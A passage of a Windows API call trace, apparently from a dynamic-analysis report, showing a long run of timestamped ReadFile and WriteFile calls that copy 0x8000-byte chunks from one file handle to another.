	[0269.692] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.692] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.693] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.693] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.693] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.693] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.694] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.694] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.695] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.695] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.695] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.695] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.696] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.697] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.698] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.698] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.698] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.698] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.699] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.699] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.700] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.700] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.700] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.700] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.701] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.701] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.702] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.702] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.702] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.703] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.704] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.704] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.705] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.705] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.706] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.706] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.706] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.706] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.707] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.707] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.708] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.708] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.708] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.708] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.709] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.710] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.711] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.711] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.712] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.712] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.713] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.713] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.713] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.713] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.714] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.714] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.715] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.715] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.715] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.715] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.716] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.726] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.730] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.730] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.731] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.731] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.732] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.732] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.732] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.732] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.733] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.733] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.734] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.734] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.734] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.734] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.735] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.736] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.737] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.737] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.737] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.738] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.738] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.738] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.739] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.739] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.739] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.739] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.740] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.740] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.741] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.741] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0269.741] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000400000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0269.742] WriteFile (in: hFile=0x1b4, lpBuffer=0xc000400000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000400000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
